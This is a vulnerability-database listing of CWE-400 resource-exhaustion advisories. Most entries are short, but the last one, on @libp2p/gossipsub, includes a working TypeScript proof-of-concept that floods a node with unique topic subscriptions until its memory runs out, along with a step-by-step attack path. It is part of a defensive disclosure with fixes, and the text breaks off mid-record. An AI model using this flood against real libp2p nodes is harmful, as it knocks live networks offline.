Common Weakness Enumeration

CWE-400

Discouraged

Uncontrolled Resource Consumption

Abstraction: Class · Status: Draft

The product does not properly control the allocation and maintenance of a limited resource.

5558 vulnerabilities reference this CWE, most recent first.

GHSA-4CQC-25M3-F64G

Vulnerability from github – Published: 2022-05-13 01:49 – Updated: 2022-05-13 01:49
VLAI
Details

An issue was discovered in arm_pt in cplus-dem.c in GNU libiberty, as distributed in GNU Binutils 2.30. Stack Exhaustion occurs in the C++ demangling functions provided by libiberty, and there are recursive stack frames: demangle_arm_hp_template, demangle_class_name, demangle_fund_type, do_type, do_arg, demangle_args, and demangle_nested_args. This can occur during execution of nm-new.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-12641"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-06-22T12:29:00Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered in arm_pt in cplus-dem.c in GNU libiberty, as distributed in GNU Binutils 2.30. Stack Exhaustion occurs in the C++ demangling functions provided by libiberty, and there are recursive stack frames: demangle_arm_hp_template, demangle_class_name, demangle_fund_type, do_type, do_arg, demangle_args, and demangle_nested_args. This can occur during execution of nm-new.",
  "id": "GHSA-4cqc-25m3-f64g",
  "modified": "2022-05-13T01:49:37Z",
  "published": "2022-05-13T01:49:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-12641"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:2075"
    },
    {
      "type": "WEB",
      "url": "https://bugs.launchpad.net/ubuntu/+source/binutils/+bug/1763099"
    },
    {
      "type": "WEB",
      "url": "https://gcc.gnu.org/bugzilla/show_bug.cgi?id=85452"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/201908-01"
    },
    {
      "type": "WEB",
      "url": "https://sourceware.org/bugzilla/show_bug.cgi?id=23058"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/4326-1"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/4336-1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4CWW-F7W5-X525

Vulnerability from github – Published: 2021-08-25 20:46 – Updated: 2023-12-08 19:31
VLAI
Summary
Stack consumption in trust-dns-server
Details

There's a stack overflow leading to a crash and potential DOS when processing additional records for return of MX or SRV record types from the server. This is only possible when a zone is configured with a null target for MX or SRV records. Prior to 0.16.0 the additional record processing was not supported by trust-dns-server. There Are no known issues with upgrading from 0.16 or 0.17 to 0.18.1. The remidy should be to upgrade to 0.18.1. If unable to do so, MX, SRV or other record types with a target to the null type, should be avoided.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "trust-dns-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.16.0"
            },
            {
              "fixed": "0.18.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-35857"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-08-19T21:20:03Z",
    "nvd_published_at": "2020-12-31T10:15:14Z",
    "severity": "HIGH"
  },
  "details": "There\u0027s a stack overflow leading to a crash and potential DOS when processing additional records for return of MX or SRV record types from the server. This is only possible when a zone is configured with a null target for MX or SRV records. Prior to 0.16.0 the additional record processing was not supported by trust-dns-server. There Are no known issues with upgrading from 0.16 or 0.17 to 0.18.1. The remidy should be to upgrade to 0.18.1. If unable to do so, MX, SRV or other record types with a target to the null type, should be avoided.",
  "id": "GHSA-4cww-f7w5-x525",
  "modified": "2023-12-08T19:31:23Z",
  "published": "2021-08-25T20:46:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-35857"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bluejekyll/trust-dns/issues/980"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bluejekyll/trust-dns/pull/982"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bluejekyll/trust-dns/commit/8b9eab05795fdc098976262853b2498055c7a8f3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/bluejekyll/trust-dns"
    },
    {
      "type": "WEB",
      "url": "https://rustsec.org/advisories/RUSTSEC-2020-0001.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Stack consumption in trust-dns-server"
}

GHSA-4F2H-J443-G993

Vulnerability from github – Published: 2023-12-07 09:30 – Updated: 2025-05-28 18:33
VLAI
Details

A lack of rate limiting in pjActionAjaxSend in Car Rental v3.0 allows attackers to cause resource exhaustion.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-48834"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-12-07T07:15:11Z",
    "severity": "HIGH"
  },
  "details": "A lack of rate limiting in pjActionAjaxSend in Car Rental v3.0 allows attackers to cause resource exhaustion.",
  "id": "GHSA-4f2h-j443-g993",
  "modified": "2025-05-28T18:33:06Z",
  "published": "2023-12-07T09:30:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-48834"
    },
    {
      "type": "WEB",
      "url": "https://www.phpjabbers.com/car-rental-script"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/176043"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4F3H-89PJ-W84F

Vulnerability from github – Published: 2025-03-20 12:32 – Updated: 2025-03-20 12:32
VLAI
Details

A vulnerability in danswer-ai/danswer version 1 allows an attacker to perform a Regular Expression Denial of Service (ReDoS) by manipulating regular expressions. This can significantly slow down the application's response time and potentially render it completely unusable.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-7779"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-20T10:15:37Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in danswer-ai/danswer version 1 allows an attacker to perform a Regular Expression Denial of Service (ReDoS) by manipulating regular expressions. This can significantly slow down the application\u0027s response time and potentially render it completely unusable.",
  "id": "GHSA-4f3h-89pj-w84f",
  "modified": "2025-03-20T12:32:46Z",
  "published": "2025-03-20T12:32:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7779"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/829f7d9f-8755-4362-bd40-801e4690dcdc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4F45-X86C-28MM

Vulnerability from github – Published: 2022-11-02 12:00 – Updated: 2022-11-02 19:00
VLAI
Details

The issue was addressed with improved memory handling. This issue is fixed in iOS 15.7.1 and iPadOS 15.7.1, iOS 16.1 and iPadOS 16. Joining a malicious Wi-Fi network may result in a denial-of-service of the Settings app.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-32927"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-11-01T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "The issue was addressed with improved memory handling. This issue is fixed in iOS 15.7.1 and iPadOS 15.7.1, iOS 16.1 and iPadOS 16. Joining a malicious Wi-Fi network may result in a denial-of-service of the Settings app.",
  "id": "GHSA-4f45-x86c-28mm",
  "modified": "2022-11-02T19:00:25Z",
  "published": "2022-11-02T12:00:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-32927"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT213489"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT213490"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4F69-4V87-7C6H

Vulnerability from github – Published: 2025-07-15 21:31 – Updated: 2025-07-15 21:31
VLAI
Details

Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Core). Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0 and 14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle WebLogic Server. CVSS 3.1 Base Score 6.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-30753"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-15T20:15:29Z",
    "severity": "MODERATE"
  },
  "details": "Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Core).  Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle WebLogic Server.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle WebLogic Server. CVSS 3.1 Base Score 6.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).",
  "id": "GHSA-4f69-4v87-7c6h",
  "modified": "2025-07-15T21:31:39Z",
  "published": "2025-07-15T21:31:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30753"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujul2025.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4F6G-68PF-7VHV

Vulnerability from github – Published: 2026-01-09 19:48 – Updated: 2026-01-11 14:53
VLAI
Summary
pypdf has possible long runtimes for malformed startxref
Details

Impact

An attacker who exploits this vulnerability can craft a PDF which leads to possibly long runtimes for invalid startxref entries. When rebuilding the cross-reference table, PDF files with lots of whitespace characters become problematic. Only the non-strict reading mode is affected.

Patches

This has been fixed in pypdf==6.6.0.

Workarounds

from pypdf import PdfReader, PdfWriter


# Instead of
reader = PdfReader("file.pdf")
# use the strict mode:
reader = PdfReader("file.pdf", strict=True)

# Instead of
writer = PdfWriter(clone_from="file.pdf")
# use an explicit strict reader:
writer = PdfWriter(clone_from=PdfReader("file.pdf", strict=True))

Resources

This issue has been fixed in #3594.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pypdf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-22691"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-09T19:48:57Z",
    "nvd_published_at": "2026-01-10T05:16:08Z",
    "severity": "LOW"
  },
  "details": "### Impact\nAn attacker who exploits this vulnerability can craft a PDF which leads to possibly long runtimes for invalid `startxref` entries. When rebuilding the cross-reference table, PDF files with lots of whitespace characters become problematic. Only the non-strict reading mode is affected.\n\n### Patches\nThis has been fixed in [pypdf==6.6.0](https://github.com/py-pdf/pypdf/releases/tag/6.6.0).\n\n### Workarounds\n\n```python\nfrom pypdf import PdfReader, PdfWriter\n\n\n# Instead of\nreader = PdfReader(\"file.pdf\")\n# use the strict mode:\nreader = PdfReader(\"file.pdf\", strict=True)\n\n# Instead of\nwriter = PdfWriter(clone_from=\"file.pdf\")\n# use an explicit strict reader:\nwriter = PdfWriter(clone_from=PdfReader(\"file.pdf\", strict=True))\n```\n\n### Resources\nThis issue has been fixed in #3594.",
  "id": "GHSA-4f6g-68pf-7vhv",
  "modified": "2026-01-11T14:53:40Z",
  "published": "2026-01-09T19:48:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/py-pdf/pypdf/security/advisories/GHSA-4f6g-68pf-7vhv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22691"
    },
    {
      "type": "WEB",
      "url": "https://github.com/py-pdf/pypdf/pull/3594"
    },
    {
      "type": "WEB",
      "url": "https://github.com/py-pdf/pypdf/commit/294165726b646bb7799be1cc787f593f2fdbcf45"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/py-pdf/pypdf"
    },
    {
      "type": "WEB",
      "url": "https://github.com/py-pdf/pypdf/releases/tag/6.6.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U",
      "type": "CVSS_V4"
    }
  ],
  "summary": "pypdf has possible long runtimes for malformed startxref"
}

GHSA-4F8H-HQ55-XRP6

Vulnerability from github – Published: 2026-01-15 21:31 – Updated: 2026-01-15 21:31
VLAI
Details

An issue in nanomq v0.22.7 allows attackers to cause a Denial of Service (DoS) via a crafted request. The number of data packets received in the recv-q queue of the Nanomq process continues to increase, causing the nanomq broker to fall into a deadlock and be unable to provide normal services.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-48077"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-15T20:16:02Z",
    "severity": "HIGH"
  },
  "details": "An issue in nanomq v0.22.7 allows attackers to cause a Denial of Service (DoS) via a crafted request. The number of data packets received in the recv-q queue of the Nanomq process continues to increase, causing the nanomq broker to fall into a deadlock and be unable to provide normal services.",
  "id": "GHSA-4f8h-hq55-xrp6",
  "modified": "2026-01-15T21:31:47Z",
  "published": "2026-01-15T21:31:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-48077"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/pengwGit/2379e7a8fe75d09621f7c060db0237c4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nanomq/nanomq"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4F8R-922H-2VGV

Vulnerability from github – Published: 2026-05-21 21:38 – Updated: 2026-06-11 14:06
VLAI
Summary
js-libp2p: Memory DoS via subscription flood of unique topics
Details

Summary

Three cooperating omissions in @libp2p/gossipsub allow an unauthenticated single peer to exhaust the Node.js heap of any gossipsub node with default options.

  1. defaultDecodeRpcLimits.maxSubscriptions = Infinity (packages/gossipsub/src/message/decodeRpc.ts:11): no decode-level cap on subscription entries per RPC.
  2. handleReceivedSubscription is unbounded (gossipsub.ts:1009-1021): every unique topic string creates a new Map entry + Set object in this.topics with no per-peer count limit.
  3. removePeer leaves empty Sets (gossipsub.ts:782-784): after peer disconnect, empty Sets are never deleted from this.topics thus memory is non-reclaimable within the process lifetime.

A single 4MB LP frame carries 349,525 unique topic SUBSCRIBE entries. Each frame causes ~89MB of heap growth (~22x amplification). A Node.js process with a 1.5GB heap limit crashes after ~17 such frames (~68MB total attacker bandwidth, achievable in ~5 seconds at 100Mbps).

Details

Defect 1: defaultDecodeRpcLimits.maxSubscriptions = Infinity (message/decodeRpc.ts:11)

export const defaultDecodeRpcLimits: DecodeRPCLimits = {                                                   
  maxSubscriptions: Infinity,   // <- no decode-level cap                                                   
  // ...                                             
}                                                    

Passed directly to the protobuf decoder at gossipsub.ts:863. A single RPC may decode 349,525 SUBSCRIBE entries within the 4MB LP frame with no error.

Defect 2: handleReceivedSubscription unbounded growth (gossipsub.ts:1009-1021)

let topicSet = this.topics.get(topic)
if (topicSet == null) {
  topicSet = new Set()
  this.topics.set(topic, topicSet)   // new entry per unique topic, no count guard
}
topicSet.add(from.toString())

this.topics (Map<TopicStr, Set<PeerIdStr>>, gossipsub.ts:141) has no size limit. No per-peer topic count is tracked. No heartbeat evicts unused entries. A comment at gossipsub.ts:960 acknowledges the map is "not bounded by topic count", but only for the allowedTopics != null branch, the default is null.

Defect 3: removePeer memory leak (gossipsub.ts:782-784)

for (const peers of this.topics.values()) {
  peers.delete(id)
  // empty Set is NOT removed from this.topics
} 

After disconnect, this.topics retains N empty Sets, one per unique attacker topic. stop() (lines 575–602) clears 12 data structures but not this.topics. Memory is leaked for the process lifetime.

Secondary: the O(topics.size) synchronous scan in removePeer grows as this.topics accumulates from repeated attacks. After 17 rounds, the scan iterates ~6M entries each time any peer disconnects.

Attack path

  1. Attacker dials victim and opens a gossipsub stream.
  2. Score 0 > gossipThreshold = −10 thus subscriptions are processed immediately. No score check gates subscription handling.
  3. Attacker constructs an RPC: 349,525 SUBSCRIBE entries with sequential 6-char topics. Total encoded size: 4.00 MB.
  4. Victim's handleReceivedRpc calls rpc.subscriptions.forEach(...) → 349,525 calls to handleReceivedSubscription -> this.topics grows by 349,525 entries -> ~89MB heap consumed -> ~224ms event-loop blocked.
  5. Attacker reconnects. No score decay or penalty applies to subscription RPCs. Repeat.
  6. After ~17 rounds (68MB attacker bandwidth): Node.js OOM (Out-Of-Memory) crash.

PoC

Steps to reproduce (confirmed unpatched at HEAD 9eb27be79):

$ git clone https://github.com/libp2p/js-libp2p.git
$ cd js-libp2p                                         
$ npm install                                          
$ cd packages/gossipsub                                
$ npx aegir build                                      
$ node --experimental-vm-modules ../../node_modules/.bin/mocha 'dist/test/poc.js' --timeout 60000                                        

File PoC:

/* eslint-env mocha */

import { stop } from '@libp2p/interface'
import assert from 'node:assert'
import { performance } from 'node:perf_hooks'
import { RPC } from '../src/message/rpc.js'
import { createComponents, connectPubsubNodes } from './utils/create-pubsub.js'
import type { GossipSubAndComponents } from './utils/create-pubsub.js'

// Number of unique topics per attack RPC (for direct injection tests).
// Chosen to demonstrate impact without LP-framing; the ENCODE test shows
// how many actually fit in one 4 MB frame.
const UNIQUE_TOPICS_PER_RPC = 349_000

// Build a protobuf-encoded RPC with N unique SUBSCRIBE entries.
// Uses minimal 2-char topic strings ("00".."zz") to maximise packing.
// SubOpts(subscribe=true, topic=2chars): 2 + (2+2) = 6 bytes per entry.
// Outer RPC field: tag+len ≈ 2 bytes -> ~8 bytes total per subscription.
// 4 MB / 8 bytes ≈ 524K subscriptions per frame.
function buildSubscriptionFloodRpc (count: number): Uint8Array {
  const subscriptions = Array.from({ length: count }, (_, i) => ({
    subscribe: true,
    // Sequential 6-char decimal topics: short but still unique
    topic: i.toString().padStart(6, '0')
  }))
  return RPC.encode({ subscriptions, messages: [], control: undefined })
}

// Binary-search the exact number of unique 6-char topics that fit in 4 MB.
function maxTopicsIn4MB (): number {
  const MAX_LP_BYTES = 4 * 1024 * 1024
  let lo = 1; let hi = 600_000
  while (lo < hi) {
    const mid = (lo + hi + 1) >> 1
    if (buildSubscriptionFloodRpc(mid).byteLength <= MAX_LP_BYTES) {
      lo = mid
    } else {
      hi = mid - 1
    }
  }
  return lo
}

describe('PoC: Memory DoS via subscription flood of unique topics', function () {
  this.timeout(60_000)

  let victim: GossipSubAndComponents
  let attacker: GossipSubAndComponents

  beforeEach(async () => {
    ;[victim, attacker] = await Promise.all([
      createComponents({ init: { allowPublishToZeroTopicPeers: true } }),
      createComponents({ init: { allowPublishToZeroTopicPeers: true } })
    ])
    await connectPubsubNodes(victim, attacker)
  })

  afterEach(async () => {
    await stop(
      victim.pubsub, attacker.pubsub,
      ...Object.values(victim.components),
      ...Object.values(attacker.components)
    )
  })

  it('FLOOD: unique topic subscriptions accumulate unboundedly in this.topics', () => {
    const victimPubsub = victim.pubsub as any
    const attackerIdStr = attacker.components.peerId.toString()

    const topicsBefore = victimPubsub.topics.size as number
    const heapBefore = process.memoryUsage().heapUsed

    // Simulate one round of subscription flood: inject UNIQUE_TOPICS_PER_RPC
    // unique topics directly via handleReceivedSubscription (the exact function
    // called synchronously from handleReceivedRpc for each decoded SubOpts entry).
    const t0 = performance.now()
    for (let i = 0; i < UNIQUE_TOPICS_PER_RPC; i++) {
      victimPubsub.handleReceivedSubscription(
        { toString: () => attackerIdStr } as any,
        `poc-sub-flood-${i.toString().padStart(6, '0')}`,
        true
      )
    }
    const elapsed = performance.now() - t0

    const topicsAfter = victimPubsub.topics.size as number
    const heapAfterBytes = process.memoryUsage().heapUsed
    const heapGrowthMB = (heapAfterBytes - heapBefore) / (1024 * 1024)
    const newTopics = topicsAfter - topicsBefore

    console.log(`\n[PoC] Unique topics injected: ${UNIQUE_TOPICS_PER_RPC.toLocaleString()}`)
    console.log(`[PoC] this.topics.size: ${topicsBefore} -> ${topicsAfter} (grew by ${newTopics.toLocaleString()})`)
    console.log(`[PoC] Heap growth (approx): ${heapGrowthMB.toFixed(0)} MB`)
    console.log(`[PoC] Time to process: ${elapsed.toFixed(0)} ms (event-loop blocked)`)
    console.log(`[PoC] Amplification: ${(heapGrowthMB / 4).toFixed(1)}x (MB heap per MB of attacker traffic)`)

    // All unique topics must be present in the map — no dedup for unique strings
    assert.strictEqual(newTopics, UNIQUE_TOPICS_PER_RPC,
      `expected this.topics to grow by ${UNIQUE_TOPICS_PER_RPC}, grew by ${newTopics}`)

    // Must be non-trivial heap growth
    assert.ok(heapGrowthMB > 20,
      `expected >20 MB heap growth from ${UNIQUE_TOPICS_PER_RPC} unique topics, got ${heapGrowthMB.toFixed(0)} MB`)
  })

  it('PERSIST: empty Sets remain in this.topics after peer disconnect (no GC)', () => {
    const victimPubsub = victim.pubsub as any
    const attackerIdStr = attacker.components.peerId.toString()

    // Flood with unique topics
    for (let i = 0; i < UNIQUE_TOPICS_PER_RPC; i++) {
      victimPubsub.handleReceivedSubscription(
        { toString: () => attackerIdStr } as any,
        `poc-persist-${i.toString().padStart(6, '0')}`,
        true
      )
    }

    const topicsBeforeDisconnect = victimPubsub.topics.size as number

    // Simulate peer disconnect, this removes the peer ID from each Set but
    // does NOT delete empty Sets from this.topics.
    const tDisconnect = performance.now()
    victimPubsub.removePeer(attacker.components.peerId)
    const disconnectMs = performance.now() - tDisconnect

    const topicsAfterDisconnect = victimPubsub.topics.size as number

    console.log(`\n[PoC] this.topics.size before disconnect: ${topicsBeforeDisconnect.toLocaleString()}`)
    console.log(`[PoC] this.topics.size after  disconnect: ${topicsAfterDisconnect.toLocaleString()}`)
    console.log(`[PoC] removePeer() took: ${disconnectMs.toFixed(0)} ms (synchronous O(topics.size) scan)`)
    console.log(`[PoC] Empty Sets retained: ${topicsAfterDisconnect.toLocaleString()} -> memory not freed`)

    // Topics Map is unchanged in SIZE — empty Sets persist
    assert.strictEqual(topicsAfterDisconnect, topicsBeforeDisconnect,
      `this.topics.size should be unchanged after disconnect (empty Sets persist); ` +
      `was ${topicsBeforeDisconnect}, now ${topicsAfterDisconnect}`)

    // removePeer O(N) scan should take non-trivial time with 349K entries
    assert.ok(disconnectMs > 5,
      `expected removePeer to take >5ms scanning ${topicsBeforeDisconnect} topics, got ${disconnectMs.toFixed(0)} ms`)

    // Verify Sets are actually empty (peer removed from each)
    let emptyCount = 0
    for (const [, peers] of victimPubsub.topics) {
      if ((peers as Set<string>).size === 0) emptyCount++
    }
    assert.ok(emptyCount >= UNIQUE_TOPICS_PER_RPC,
      `expected ≥${UNIQUE_TOPICS_PER_RPC} empty Sets after disconnect, found ${emptyCount}`)
  })

  it('ENCODE: subscription flood RPC fits within 4 MB LP frame: confirms no LP-level protection', function () {
    this.timeout(30_000)
    const MAX_LP_BYTES = 4 * 1024 * 1024

    // Find exact maximum with binary search
    const maxCount = maxTopicsIn4MB()
    const rpc = buildSubscriptionFloodRpc(maxCount)

    const ampRatio = (maxCount * 260 / (1024 * 1024)) / 4

    console.log(`\n[PoC] Max subscriptions in 4 MB frame: ${maxCount.toLocaleString()}`)
    console.log(`[PoC] Serialised RPC size:              ${(rpc.byteLength / (1024 * 1024)).toFixed(2)} MB`)
    console.log(`[PoC] LP frame limit:                   ${(MAX_LP_BYTES / (1024 * 1024)).toFixed(0)} MB`)
    console.log(`[PoC] Fits in one frame:                ${rpc.byteLength <= MAX_LP_BYTES ? 'YES ✓' : 'NO ✗'}`)
    console.log(`[PoC] defaultDecodeRpcLimits.maxSubscriptions = Infinity (no decode-level cap)`)
    console.log(`[PoC] Heap growth per 4 MB sent: ~${Math.round(maxCount * 260 / (1024 * 1024))} MB (${ampRatio.toFixed(1)}x amplification)`)

    assert.ok(rpc.byteLength <= MAX_LP_BYTES,
      `crafted RPC (${rpc.byteLength} bytes) must fit in the 4 MB LP default — confirms no LP-level protection`)
    assert.ok(maxCount > 100_000,
      `expected >100K subscriptions per 4 MB frame, got ${maxCount}`)
  })
})

Impact

  • Availability (memory): single peer, ~68MB bandwidth -> OOM crash in ~5s at 100Mbps. Non-recoverable within process lifetime thus memory never freed even if attacker disconnects.
  • Availability (CPU): 224ms event-loop block per 4MB subscription RPC (synchronous forEach); grows with accumulated attack state.
  • No score mitigation: subscription processing has no score check and no score penalty for flooding.
  • Affected deployments: any node running @libp2p/gossipsub with default options that accepts inbound connections: Lodestar (Ethereum consensus), IPFS pubsub, any createLibp2p({ services: { pubsub: gossipsub() } }).
  • Partial mitigation only: setting opts.allowedTopics caps growth to allowedTopics.size topics per attacker; does not fix the memory leak for allowed topics or the O(N) removePeer scan.

Suggested remediation

Delete empty Sets on unsubscribe and disconnect:

// handleReceivedSubscription
} else {
  topicSet.delete(from.toString())
  if (topicSet.size === 0) this.topics.delete(topic)
}

// removePeer
for (const [topic, peers] of this.topics) {
  peers.delete(id)
  if (peers.size === 0) this.topics.delete(topic)
}

Clear this.topics in stop():

this.topics.clear()
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 15.0.22"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@libp2p/gossipsub"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "15.0.23"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46679"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-400",
      "CWE-401"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-21T21:38:40Z",
    "nvd_published_at": "2026-06-10T22:17:00Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThree cooperating omissions in `@libp2p/gossipsub` allow an unauthenticated single peer to exhaust the Node.js heap of any gossipsub node with default options.\n\n1. **`defaultDecodeRpcLimits.maxSubscriptions = Infinity`** (`packages/gossipsub/src/message/decodeRpc.ts:11`): no decode-level cap on subscription entries per RPC.\n2. **`handleReceivedSubscription` is unbounded** (`gossipsub.ts:1009-1021`): every unique topic string creates a new `Map` entry + `Set` object in `this.topics` with no per-peer count limit.\n3. **`removePeer` leaves empty Sets** (`gossipsub.ts:782-784`): after peer disconnect, empty Sets are never deleted from `this.topics` thus memory is non-reclaimable within the process lifetime.\n\nA single 4MB LP frame carries 349,525 unique topic SUBSCRIBE entries. Each frame causes ~89MB of heap growth (~22x amplification). A Node.js process with a 1.5GB heap limit crashes after ~17 such frames (~68MB total attacker bandwidth, achievable in ~5 seconds at 100Mbps).\n\n### Details\n#### Defect 1: `defaultDecodeRpcLimits.maxSubscriptions = Infinity` (`message/decodeRpc.ts:11`)\n\n```typescript                                                                                              \nexport const defaultDecodeRpcLimits: DecodeRPCLimits = {                                                   \n  maxSubscriptions: Infinity,   // \u003c- no decode-level cap                                                   \n  // ...                                             \n}                                                    \n```\n\nPassed directly to the protobuf decoder at `gossipsub.ts:863`. A single RPC may decode 349,525 SUBSCRIBE entries within the 4MB LP frame with no error.\n\n#### Defect 2: `handleReceivedSubscription` unbounded growth (`gossipsub.ts:1009-1021`)\n\n```typescript                                        \nlet topicSet = this.topics.get(topic)\nif (topicSet == null) {\n  topicSet = new Set()\n  this.topics.set(topic, topicSet)   // new entry per unique topic, no count guard\n}\ntopicSet.add(from.toString())\n```\n\n`this.topics` (`Map\u003cTopicStr, Set\u003cPeerIdStr\u003e\u003e`, `gossipsub.ts:141`) has no size limit. No per-peer topic count is tracked. No heartbeat evicts unused entries. A comment at `gossipsub.ts:960` acknowledges the map is \"not bounded by topic count\", but only for the `allowedTopics != null` branch, the default is `null`.\n\n#### Defect 3: `removePeer` memory leak (`gossipsub.ts:782-784`)\n\n```typescript                                        \nfor (const peers of this.topics.values()) {\n  peers.delete(id)\n  // empty 